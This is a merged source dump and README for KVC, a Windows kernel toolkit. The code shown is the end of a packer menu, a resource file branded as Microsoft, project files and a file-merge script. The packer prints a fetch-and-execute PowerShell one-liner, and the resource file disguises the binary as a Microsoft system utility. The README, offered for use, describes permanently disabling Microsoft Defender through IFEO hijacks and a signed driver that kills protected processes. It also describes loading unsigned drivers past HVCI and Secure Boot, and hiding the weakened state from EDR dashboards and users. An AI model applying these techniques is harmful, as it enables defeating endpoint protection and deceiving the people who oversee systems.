    border("╠══════════════════════════════╬══════════════════════════════════════════════════════╣\n");
    
    border("║"); label(" 3. BUILD DISTRIBUTION        "); border("║"); value(" kvc.exe + kvc.dat -> kvc.enc                         "); border("║\n");
    border("╠══════════════════════════════╬══════════════════════════════════════════════════════╣\n");
    
    border("║"); label(" 4. DECODE DISTRIBUTION       "); border("║"); value(" kvc.enc -> kvc.exe + kvc.dat                         "); border("║\n");
    border("╠══════════════════════════════╬══════════════════════════════════════════════════════╣\n");
    
    border("║"); label(" 5. DECODE EVERYTHING         "); border("║"); value(" kvc.enc                                              "); border("║\n");
    border("║"); label("                              "); border("║"); value(" -> kvc.exe + kvc_pass.exe + kvc_crypt.dll            "); border("║\n");
    border("╠══════════════════════════════╬══════════════════════════════════════════════════════╣\n");
    
    border("║"); label(" 6. PACK UNDERVOLTER          "); border("║"); value(" Loader.efi + UnderVolter.efi +                       "); border("║\n");
    border("║"); label("                              "); border("║"); value(" UnderVolter.ini -> UnderVolter.dat                   "); border("║\n");
    border("╠══════════════════════════════╬══════════════════════════════════════════════════════╣\n");
    border("║"); label(" 7. PACK FORENSIC MODULE      "); border("║"); value(" KvcForensic.exe + KvcForensic.json                   "); border("║\n");
    border("║"); label("                              "); border("║"); value(" -> kvcforensic.dat                                   "); border("║\n");
    border("╚══════════════════════════════╩══════════════════════════════════════════════════════╝\n\n");

    std::cout << "kvc.enc is used for remote installation via command:\n";

    ColorGuard green(Color::LightGreen);
    std::cout << "irm https://kvc.pl/run | iex\n\n";
}

int main() {
    display_menu();
    std::cout << "Select operation (1-7): ";

    int choice;
    std::cin >> choice;
    std::cin.ignore(); // Clear newline from buffer

    Result<void> result = Result<void>("Invalid choice");

    switch (choice) {
        case 1: result = encode_files(); break;
        case 2: result = decode_files(); break;
        case 3: result = build_distribution(); break;
        case 4: result = decode_distribution(); break;
        case 5: result = decode_everything(); break;
        case 6: result = encode_undervolter(); break;
        case 7: result = encode_forensic(); break;
        default:
            ColorGuard red(Color::Red);
            std::cerr << "Invalid choice. Please select 1-7.\n";
            return 1;
    }

    if (!result) {
        ColorGuard red(Color::Red);
        std::cerr << "Error: " << result.error() << "\n";
        return 1;
    }

    return 0;
}

<<<FILE: kvcXor/KvcXor.rc>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-09 21:04:44
Size:     2.32 KB
#pragma code_page(65001)
// Microsoft Visual C++ generated resource script.
// KvcXor.exe Resource File - Microsoft Corporation branding
//
#include "resource.h"

#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "winres.h"

/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////
// English (United States) resources

#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US

/////////////////////////////////////////////////////////////////////////////
//
// Icon
//

IDI_ICON1               ICON                    "ICON\\kvc.ico"

/////////////////////////////////////////////////////////////////////////////
//
// Version Information - Microsoft Corporation branding
//

VS_VERSION_INFO VERSIONINFO
 FILEVERSION 10,0,26800,6317
 PRODUCTVERSION 10,0,26800,6317
 FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
 FILEFLAGS 0x1L
#else
 FILEFLAGS 0x0L
#endif
 FILEOS 0x40004L
 FILETYPE 0x1L          // VFT_APP - Application file type
 FILESUBTYPE 0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName", "Microsoft Corporation"
            VALUE "FileDescription", "Windows System Utility"
            VALUE "FileVersion", "10.0.26800.6317"
            VALUE "InternalName", "KvcXor.exe"
            VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved."
            VALUE "OriginalFilename", "KvcXor.exe"
            VALUE "ProductName", "Microsoft® Windows® Operating System"
            VALUE "ProductVersion", "10.0.26800.6317"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x409, 1200
    END
END

#endif    // English (United States) resources
/////////////////////////////////////////////////////////////////////////////

#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//

/////////////////////////////////////////////////////////////////////////////
#endif    // not APSTUDIO_INVOKED

<<<FILE: kvcXor/KvcXor.vcxproj>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-04 22:54:22
Size:     3.89 KB
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Release|x64">
      <Configuration>Release</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <VCProjectVersion>17.0</VCProjectVersion>
    <Keyword>Win32Proj</Keyword>
    <ProjectGuid>{00000000-0000-0000-0000-000000000005}</ProjectGuid>
    <RootNamespace>KvcXor</RootNamespace>
    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v145</PlatformToolset>
    <WholeProgramOptimization>true</WholeProgramOptimization>
    <CharacterSet>Unicode</CharacterSet>
    <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings" />
  <ImportGroup Label="Shared" />
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <LinkIncremental>false</LinkIncremental>
    <OutDir>$(SolutionDir)bin\</OutDir>
    <IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
    <TargetName>KvcXor</TargetName>
  </PropertyGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <GenerateDebugInformation>false</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
      <LanguageStandard>stdcpplatest</LanguageStandard>
      <AdditionalIncludeDirectories>$(SolutionDir)kvc;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
      <AdditionalOptions>/utf-8 /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <GenerateDebugInformation>false</GenerateDebugInformation>
    </Link>
    <ResourceCompile>
      <AdditionalIncludeDirectories>$(SolutionDir)kvc;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
    </ResourceCompile>
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="KvcXor.cpp" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="..\kvc\resource.h" />
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="KvcXor.rc" />
  </ItemGroup>
  <ItemGroup>
    <Image Include="..\kvc\ICON\kvc.ico" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets" />
</Project>

<<<FILE: kvcXor/KvcXor.vcxproj.filters>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-04 22:40:02
Size:     1.33 KB
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup>
    <Filter Include="Source Files">
      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
    </Filter>
    <Filter Include="Header Files">
      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
    </Filter>
    <Filter Include="Resource Files">
      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
    </Filter>
  </ItemGroup>
  <ItemGroup>
    <ClCompile Include="KvcXor.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="..\kvc\resource.h">
      <Filter>Header Files</Filter>
    </ClInclude>
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="KvcXor.rc">
      <Filter>Resource Files</Filter>
    </ResourceCompile>
  </ItemGroup>
  <ItemGroup>
    <Image Include="..\kvc\ICON\kvc.ico">
      <Filter>Resource Files</Filter>
    </Image>
  </ItemGroup>
</Project>

<<<FILE: merge.ps1>>>
Created:  2026-04-06 02:24:00
Modified: 2026-05-20 11:24:38
Size:     9.6 KB
# =============================================================================
#  merge.ps1  �  Merge source files into one UTF-8 file for LLM upload
#
#  USAGE EXAMPLES
#    .\merge.ps1                              # scan current dir, write src.txt
#    .\merge.ps1 -StartDir .\MyProject        # custom root
#    .\merge.ps1 -OutputFile out.md -Format md
#    .\merge.ps1 -IncludeExt .asm,.inc,.ps1   # comma-separated string is fine
#    .\merge.ps1 -NoMeta                      # suppress per-file metadata
# =============================================================================

param(
    # Directory to scan (default: current working directory)
    [string]   $StartDir   = ".",

    # Output file path (relative paths anchored to CWD)
    [string]   $OutputFile = "src.txt",

    # Output format: plain text markers or Markdown fenced blocks
    [ValidateSet("txt", "md")]
    [string]   $Format     = "txt",

    # Suppress per-file Created / Modified / Size metadata lines
    [switch]   $NoMeta,

    # File extensions to include (leading dot, case-insensitive)
    [string[]] $IncludeExt = @(
        # Assembly / low-level
        ".asm", ".inc", ".s", ".nasm",
        # C / C++
        ".c", ".cpp", ".cc", ".cxx", ".h", ".hpp", ".hxx",
        # Pascal / Delphi
        ".pas", ".pp", ".dpr", ".dfm", ".lpr",
        # Web front-end
        ".html", ".htm", ".css", ".scss", ".sass", ".less",
        ".js", ".mjs", ".cjs", ".ts", ".tsx", ".jsx",
        # Scripting
        ".ps1", ".psm1", ".psd1", ".bat", ".cmd", ".sh",
        ".py", ".rb", ".pl", ".lua",
        # Data / config / markup
        ".xml", ".json", ".jsonc", ".yaml", ".yml",
        ".toml", ".ini", ".cfg", ".conf", ".env",
        # Windows-specific
        ".rc", ".def", ".manifest", ".lng", ".rgs",
        # Build / project
        ".vcxproj", ".filters", ".props", ".targets", ".sln",
        ".cmake", ".make", ".mk",
        # Docs
        ".md", ".txt", ".rst"
    ),

    # Regex patterns applied to the RELATIVE path (forward-slash-normalised).
    # Any file whose relative path matches at least one pattern is skipped.
    # NOTE: x64 / x86 / arm64 are NOT excluded � they usually hold source files.
    [string[]] $ExcludeDirPattern = @(
        "[/\\]\.git[/\\]",
        "[/\\]bin[/\\]",
        "[/\\]obj[/\\]",
        "[/\\]build[/\\]",
        "[/\\]out[/\\]",
        "[/\\]dist[/\\]",
        "[/\\]\.vs[/\\]",
        "[/\\]node_modules[/\\]",
        "[/\\]__pycache__[/\\]"
    )
)

$ErrorActionPreference = "Stop"

# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

function Test-PathExcluded {
    param(
        [string]   $RelativePath,
        [string[]] $Patterns
    )
    # Normalise separators so patterns work on both Windows and Unix
    $normalised = $RelativePath.Replace('\', '/')
    foreach ($pattern in $Patterns) {
        if ($normalised -match $pattern) { return $true }
    }
    return $false
}

# Map extension -> Markdown language identifier for fenced code blocks
function Get-FenceLanguage {
    param([string] $Extension)
    $map = @{
        ".asm"      = "asm"
        ".inc"      = "asm"
        ".s"        = "asm"
        ".nasm"     = "nasm"
        ".c"        = "c"
        ".cpp"      = "cpp"
        ".cc"       = "cpp"
        ".cxx"      = "cpp"
        ".h"        = "c"
        ".hpp"      = "cpp"
        ".hxx"      = "cpp"
        ".pas"      = "pascal"
        ".pp"       = "pascal"
        ".dpr"      = "pascal"
        ".dfm"      = "pascal"
        ".lpr"      = "pascal"
        ".html"     = "html"
        ".htm"      = "html"
        ".css"      = "css"
        ".scss"     = "scss"
        ".sass"     = "sass"
        ".less"     = "less"
        ".js"       = "javascript"
        ".mjs"      = "javascript"
        ".cjs"      = "javascript"
        ".ts"       = "typescript"
        ".tsx"      = "tsx"
        ".jsx"      = "jsx"
        ".ps1"      = "powershell"
        ".psm1"     = "powershell"
        ".psd1"     = "powershell"
        ".bat"      = "batch"
        ".cmd"      = "batch"
        ".sh"       = "bash"
        ".py"       = "python"
        ".rb"       = "ruby"
        ".pl"       = "perl"
        ".lua"      = "lua"
        ".xml"      = "xml"
        ".json"     = "json"
        ".jsonc"    = "jsonc"
        ".yaml"     = "yaml"
        ".yml"      = "yaml"
        ".toml"     = "toml"
        ".ini"      = "ini"
        ".cfg"      = "ini"
        ".conf"     = "ini"
        ".rc"       = "rc"
        ".def"      = "text"
        ".manifest" = "xml"
        ".rgs"      = "text"
        ".lng"      = "text"
        ".vcxproj"  = "xml"
        ".filters"  = "xml"
        ".props"    = "xml"
        ".targets"  = "xml"
        ".sln"      = "text"
        ".cmake"    = "cmake"
        ".make"     = "makefile"
        ".mk"       = "makefile"
        ".md"       = "markdown"
        ".rst"      = "rst"
        ".txt"      = "text"
    }
    $ext = $Extension.ToLowerInvariant()
    if ($map.ContainsKey($ext)) { return $map[$ext] }
    return "text"
}

# ---------------------------------------------------------------------------
# Resolve paths
# ---------------------------------------------------------------------------

$baseDirPath = (Resolve-Path $StartDir).Path

$outputPath = if ([System.IO.Path]::IsPathRooted($OutputFile)) {
    $OutputFile
} else {
    Join-Path (Get-Location) $OutputFile
}

# Prevent the output file from being included in the scan
$outputPathNorm = $outputPath.ToLowerInvariant()

# ---------------------------------------------------------------------------
# Collect files
# ---------------------------------------------------------------------------

$normalizedExt = @($IncludeExt | ForEach-Object { $_.ToLowerInvariant() })

$files = Get-ChildItem -Path $baseDirPath -Recurse -File |
    Where-Object {
        # Extension filter
        if (-not ($normalizedExt -contains $_.Extension.ToLowerInvariant())) {
            return $false
        }
        # Skip the output file itself
        if ($_.FullName.ToLowerInvariant() -eq $outputPathNorm) {
            return $false
        }
        # Directory exclusion (relative path only � avoids false positives from
        # absolute path components like "C:\build\...")
        $rel = $_.FullName.Substring($baseDirPath.Length)
        if (Test-PathExcluded -RelativePath $rel -Patterns $ExcludeDirPattern) {
            return $false
        }
        return $true
    } |
    Sort-Object FullName

# ---------------------------------------------------------------------------
# Write output
# ---------------------------------------------------------------------------

$outputDir = Split-Path -Parent $outputPath
if ($outputDir -and -not (Test-Path $outputDir)) {
    New-Item -ItemType Directory -Path $outputDir | Out-Null
}

$utf8NoBom = [System.Text.UTF8Encoding]::new($false)
$writer    = [System.IO.StreamWriter]::new($outputPath, $false, $utf8NoBom)

try {
    foreach ($file in $files) {
        $rel = $file.FullName.Substring($baseDirPath.Length).TrimStart('\', '/')
        # Normalise to forward slashes for portability
        $rel = $rel.Replace('\', '/')

        # --- File header ---
        if ($Format -eq "md") {
            $writer.WriteLine("## FILE: $rel")
        } else {
            $writer.WriteLine("<<<FILE: $rel>>>")
        }

        # --- Optional metadata ---
        if (-not $NoMeta) {
            $writer.WriteLine("Created:  $($file.CreationTime.ToString('yyyy-MM-dd HH:mm:ss'))")
            $writer.WriteLine("Modified: $($file.LastWriteTime.ToString('yyyy-MM-dd HH:mm:ss'))")
            $writer.WriteLine("Size:     $([math]::Round($file.Length / 1KB, 2)) KB")
        }

        # --- Open fenced block (md mode) ---
        if ($Format -eq "md") {
            $lang = Get-FenceLanguage -Extension $file.Extension
            $writer.WriteLine("``````$lang")
        }

        # --- File content ---
        $reader = [System.IO.StreamReader]::new($file.FullName, $true)
        try {
            $content = $reader.ReadToEnd()
            $writer.Write($content)
            # Ensure content ends with a newline before the closing fence
            if ($content.Length -gt 0 -and -not ($content[-1] -eq "`n")) {
                $writer.WriteLine()
            }
        } finally {
            $reader.Dispose()
        }

        # --- Close fenced block (md mode) ---
        if ($Format -eq "md") {
            $writer.WriteLine("``````")
        }

        $writer.WriteLine()
    }
} finally {
    $writer.Dispose()
}

# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------

$outSize = [math]::Round((Get-Item $outputPath).Length / 1KB, 1)

Write-Host ""
Write-Host "=====================================================" -ForegroundColor Cyan
Write-Host " merge.ps1 � done" -ForegroundColor Cyan
Write-Host "=====================================================" -ForegroundColor Cyan
Write-Host "  Root dir    : $baseDirPath"
Write-Host "  Output file : $outputPath  ($outSize KB)"
Write-Host "  Files merged: $($files.Count)"
Write-Host "  Format      : $Format"
Write-Host "  NoMeta      : $([bool]$NoMeta)"
Write-Host ""

# List extensions that were actually found
$foundExts = $files | ForEach-Object { $_.Extension.ToLowerInvariant() } |
    Sort-Object -Unique
Write-Host "  Extensions present:" -ForegroundColor Gray
foreach ($e in $foundExts) {
    $count = ($files | Where-Object { $_.Extension.ToLowerInvariant() -eq $e }).Count
    Write-Host ("    {0,-12} {1,3} file(s)" -f $e, $count) -ForegroundColor Gray
}
Write-Host ""

<<<FILE: README.md>>>
Created:  2026-05-02 23:04:06
Modified: 2026-05-28 17:13:38
Size:     182.09 KB
# KVC - Kernel Vulnerability Capabilities Framework

<div align="center">

**Advanced Windows Security Research & Penetration Testing Framework**

*Comprehensive Ring-0 toolkit for process protection manipulation, memory forensics, advanced credential extraction, and Driver Signature Enforcement control on modern Windows platforms.*

---

<img src="https://raw.githubusercontent.com/wesmar/BootBypass/main/images/bb.png" alt="KVC v1.0.4 — fully hardened system, Device Security clean" width="700"/>

**KVC v1.0.4 — fully hardened system (Memory Integrity ON, Secure Boot ON, TPM ON) after `kvc install <your_unsigned_driver>`**

After the initial one-time reboot required to load the unsigned driver, subsequent reboots require no additional restarts.
Set `RestoreHVCI=YES` in `C:\Windows\drivers.ini` to have `kvc_smss` automatically restore the Memory Integrity flag on every boot — `windowsdefender://devicesecurity` stays clean indefinitely.

</div>
---

> **📢 [28.05.2026]** `kvc lock` now uses the same registry-backed configuration from both CLI and GUI, so protected paths and trusted apps stay consistent whichever interface is used.

---
## 📋 Changelog

**[27.05.2026]**

<details>
<summary><strong>🔒 kvc lock — VaultGuard CLI/GUI integrated into kvc.exe; folder/partition blocking, system tray, pure x64 assembly</strong> (click to expand)</summary>

#### kvc lock

`kvc lock` without arguments shows help. GUI: `lock --gui` / `lock --tray`. CLI subcommands: `on`, `off`, `add <path> <mode>`, `remove <path>`, `allow <app.exe>`, `unallow <app.exe>`, `list`, `status`, `clear`. The GUI spawns as a detached child process (`DETACHED_PROCESS | CREATE_NO_WINDOW`) so the parent terminal stays usable — `Ctrl+C` does not kill the GUI.

The underlying kernel component is `kvcblocker.sys`, a signed FSFilter Content Screener (service `clrcd`, altitude 389991, device `\\.\BE79F7D853E643089D51EDCDA79805C4`) signed by PROMOSOFT CORPORATION. It loads on Windows 11 26H1 via the legacy cross-signed driver compatibility mechanism — no test-signing, no patches. The driver protects any path the kernel recognises: folders, individual files, or full partition roots (`C:\`, `D:\`).

The IOCTL surface, flag bitmasks, registry layout, and device path were fully reconstructed from the original *Secure Folders* binary via IDA static analysis and WinDbg kernel tracing — no documentation, no source. The driver held up under extended testing: no pool leaks, no dangling references, no stale device objects across repeated load/unload cycles. The cleanup paths are correct. In the kernel world, that's not a given.

**Protection flags:**

| Flag | CLI mode | Kernel behavior |
|------|----------|-----------------|
| Hidden | `Hidden` | `STATUS_OBJECT_NAME_NOT_FOUND` + removed from directory enumeration |
| Locked | `Locked` | All access returns `STATUS_ACCESS_DENIED` |
| Read-only | `ReadOnly` | Strips `FILE_WRITE_DATA` + `DELETE` from `DesiredAccess` |
| No execute | `NoExec` | Strips execute bits from `DesiredAccess` |
| All | `All` | Hidden + Locked + ReadOnly + NoExec combined |

The GUI can toggle multiple flags on one path. The CLI accepts one mode per `add` call, or `All` for the full `Hidden | Locked | ReadOnly | NoExec` mask.

**CLI:**

```
kvc lock                              show help
kvc lock --gui                        launch GUI
kvc lock --tray                       launch GUI minimized to system tray
kvc lock on                           enable protection globally
kvc lock off                          disable protection globally
kvc lock add "C:\Private" Locked      protect a path
kvc lock add "D:\" Hidden             hide entire partition root from Explorer
kvc lock remove "C:\Private"          remove path from protection
kvc lock list                         list protected paths and trusted apps
kvc lock status                       driver status, path count, trusted count
kvc lock allow totalcmd64.exe         add trusted process (bypasses all flags)
kvc lock unallow totalcmd64.exe       remove trusted process
kvc lock clear                        remove all protected paths and trusted entries
```

**GUI:** dark mode, Mica backdrop, drag & drop from Explorer (`.lnk` shortcuts resolved via COM `IShellLink`). Flag columns toggle live — no apply button. `Shift+Minimize` sends the window to system tray; `Ctrl+C` in the parent terminal does not affect the GUI (spawned detached).

![kvc lock — VaultGuard GUI](images/kvc_07.png)

**Assembly internals:** 10 MASM source files, zero CRT. Every non-leaf function maintains strict x64 ABI — `rsp % 16 == 0` before every `call`, 32-byte shadow space at every call site, callee-saved registers pushed/restored at every boundary.

</details>

---

**[20.05.2026]**

<details>
<summary><strong>🖥️ kvc wm remove — Build 28000+ support; DrawTextWithGlow delay-IAT ordinal hook; five-hook defense-in-depth.</strong> (click to expand)</summary>

#### Rendering path migration in Build 28000+

`shell32!CDesktopWatermark::s_DesktopBuildPaint` is the single root painter for all desktop watermark strings — Test Mode, build number, edition, activation text. Prior to Build 28000, the rendering leaf was `ExtTextOutW` (GDI) with `DrawTextW` (USER32) as an alternate path on some Win10 builds. Starting with Build 28000, Microsoft migrated the final draw call to `UxTheme!DrawTextWithGlow` (ordinal 126), which applies a glow compositing pass before painting. The previous `ExpIorerFrame.dll` hooks suppressed `ExtTextOutW` and `DrawTextW` but had no slot for `DrawTextWithGlow` — watermarks on Build 28000+ were fully visible even with the patch applied.

---

#### Discovery path

The initial hypothesis after disassembling `s_DesktopBuildPaint` on Build 28000 was that zeroing the output of `BrandingLoadStringForEdition` (the first call in the function) would trigger an early exit at `je +0x9ED` and bypass all rendering. This was wrong: that jump skips only the edition string buffer; execution falls through to `s_GetProductBuildString` at `+0x102`, which assembles the build number and branch string and proceeds unconditionally to `DrawTextWithGlow`. Patching `BrandingLoadStringForEdition` alone removed "Windows 11 Pro" from the watermark while leaving "Test Mode" and "Build 28000…" intact.

WinDbg was used to resolve the actual render leaf:
dq SHELL32+753AB0 L1
ln poi(SHELL32+753AB0)   → UxTheme!DrawTextWithGlow

Every watermark string on Build 28000 passes through this single call; `ExtTextOutW` and `DrawTextW` are no longer reachable from `s_DesktopBuildPaint` on this build.

---

#### Delay-load by ordinal — the wrinkle

`DrawTextWithGlow` is **delay-loaded** from `UxTheme` — its IAT slot holds a thunk stub at `DllMain` time. A standard value-scan against the IAT would fail because UxTheme may not yet be resolved when the proxy DLL attaches. The INT (Import Name Table, `DataDirectory[13]`) must be scanned directly.

Scanning the INT for the UxTheme delay descriptor revealed that the entry for `DrawTextWithGlow` has **bit 63 set** — it is an ordinal-only import with no name string; ordinal is in bits 15:0:
INT entry: 0x800000000000007E   →   ordinal = 0x7E = 126

`BrandingLoadStringForEdition` (from `winbrand.dll`) is also delay-loaded but imported by name (bit 63 clear). Two separate INT-scan paths were therefore required: `ReplaceDelayImportedFunctionByName` for the named import, `ReplaceDelayImportedFunctionByOrdinal` for the ordinal-only entry. Both functions walk `rvaINT` and patch the corresponding slot in `rvaIAT` at the same index — the mechanism works regardless of whether the target DLL has been loaded at the time of patching.

---

#### Fifth hook — InterceptedDrawTextWithGlow

`InterceptedDrawTextWithGlow` is a leaf function (no frame, no sub rsp) that returns `S_OK` (0) immediately, suppressing all glow-rendered watermark text:

```asm
InterceptedDrawTextWithGlow proc
    xor     eax, eax    ; S_OK — suppress
    ret
InterceptedDrawTextWithGlow endp
```

The full hook table is now:

| Hook | DLL | Import type | Active on |
|---|---|---|---|
| `InterceptedLoadStringW` | `api-ms-win-core-libraryloader` | regular IAT | Vista+ |
| `InterceptedExtTextOutW` | `gdi32` | regular IAT | Vista–Win10 |
| `InterceptedDrawTextW` | `user32` | regular IAT | some Win10 |
| `InterceptedBrandingLoadStringForEdition` | `winbrand` | delay IAT by name | Win8+ |
| `InterceptedDrawTextWithGlow` | `UxTheme` ord 126 | delay IAT by ordinal | Win11 Build 28000+ |

Hooks for paths not present in a given build are no-ops: the INT scan returns without patching if the DLL descriptor or ordinal entry is not found.

</details>

---

**[02.05.2026]**

<details>
<summary><strong>🔪 kvckiller.sys — signed kill driver; secengine permanent disable; HvciShutdownSvc; restore relaunch; hive path fix</strong> (click to expand)</summary>

#### kvckiller.sys — new signed kernel driver

A fifth embedded binary, **`kvckiller.sys`** (service: `wsftprm`, device: `\\.\Warsaw_PM`), joins the resource bundle alongside `kvc.sys`, `kvcstrm.sys`, `kvc_smss.exe`, and `ExplorerFrame​.dll`. Unlike `kvcstrm.sys`, `kvckiller.sys` carries a valid digital signature — it loads without DSE bypass, without HVCI restart, and without any unsigned-driver prerequisites. It exposes a single IOCTL (`0x22201C`) that terminates any process regardless of PP/PPL level via a 1036-byte request (PID in the first 4 bytes, remainder zero-padded).

Extracted by the existing `SplitKvcEvtx` / `ExtractResourceComponents` pipeline; deployed to DriverStore alongside `kvc.sys` and `kvcstrm.sys` on `kvc setup`.

---

#### secengine disable — permanent shutdown, fully hardened systems, no restart

`kvc secengine disable` operates on three targets via IFEO offline hive edit + kvckiller. No restart. No prerequisites. No exceptions — including systems with Memory Integrity (HVCI), Secure Boot, and TPM all active.

**Flow:**

1. **IFEO blocks** (offline hive edit, `REG_FORCE_RESTORE`) for three targets:
   - `MsMpEng.exe` — required. Sets `Debugger = systray.exe`. The Windows loader intercepts every future launch before a single byte of Defender code executes.
   - `SecurityHealthSystray.exe` — best-effort. Silences the tray notification icon.
   - `SecurityHealthService.exe` — best-effort. Blocks the health aggregation service.

2. **kvckiller session** (`wsftprm` service — create, start, cleanup):
   - `MsMpEng.exe` and `SecurityHealthSystray.exe` killed via IOCTL `0x22201C`
   - `SecurityHealthService` stopped via `ControlService(SERVICE_CONTROL_STOP)`

3. **wsftprm cleaned up** — service stopped and deleted after use.

**Permanence:**

The IFEO block is a registry entry, not process state. Every time the Windows loader prepares to start `MsMpEng.exe` — at boot, after `sfc /scannow`, after a Defender platform update, after a Windows Update that spawns Defender — it reads IFEO first. It hands the launch to `systray.exe` instead. MsMpEng never runs. The block survives every system restart, `sfc /scannow`, Defender platform updates, and Windows Updates until explicitly reversed by `kvc secengine enable`.

**Why Microsoft cannot patch this:**

The IFEO subtree is protected by a DACL that blocks direct writes even with Administrator privileges. KVC bypasses this via the same API sequence that backup software, Group Policy migration tools, and Windows Setup use: `RegSaveKeyEx` → `RegLoadKey` → modify → `RegUnLoadKey` → `RegRestoreKey(REG_FORCE_RESTORE)`. Removing or restricting this API sequence would break Volume Shadow Copy, offline GPO application, and system recovery tooling. The IFEO interception mechanism itself has existed since Windows NT and is used legitimately by application compatibility layers and debuggers. Neither the backup API path nor the IFEO intercept is patchable without removing documented, broadly-deployed functionality.

`--restart` flag removed. `kvc secengine enable` now also explicitly starts `SecurityHealthService` via SCM after `StartService(WinDefend)`.

---

#### HvciShutdownSvc — HVCI visual camouflage after driver install

`kvc install <driver>` on a system with Memory Integrity (HVCI) enabled requires one reboot: `kvc_smss.exe` — the native-subsystem sibling that executes in the SMSS phase, before `services.exe`, before any user-mode security component — patches the SYSTEM hive to set `HypervisorEnforcedCodeIntegrity\Enabled = 0`, loads the unsigned target driver, then registers **`HvciShutdownSvc`** as an `AUTO_START` service for the next regular boot.

The problem: after the driver-load boot, the HVCI registry key still reads `Enabled = 0`. Windows Security Center reflects this faithfully — `windowsdefender://devicesecurity` shows a warning on Device Security. Any monitoring system polling that path (EDR dashboards, management consoles, or the user's own eyes) sees a red flag.

`HvciShutdownSvc` is a ~5 KB x64 assembly Windows service (`HvciShutdownSvc.asm`, pure MASM, zero CRT dependency), registered by `kvc_smss.exe` during the SMSS boot phase. Its sole purpose is to restore the illusion.

**`DoStartupAction`** — runs when the service reaches `SERVICE_RUNNING`:
1. `NtQuerySystemInformation(class 3 — SystemTimeOfDayInformation)` → retrieves kernel `BootTime` as a `LARGE_INTEGER`
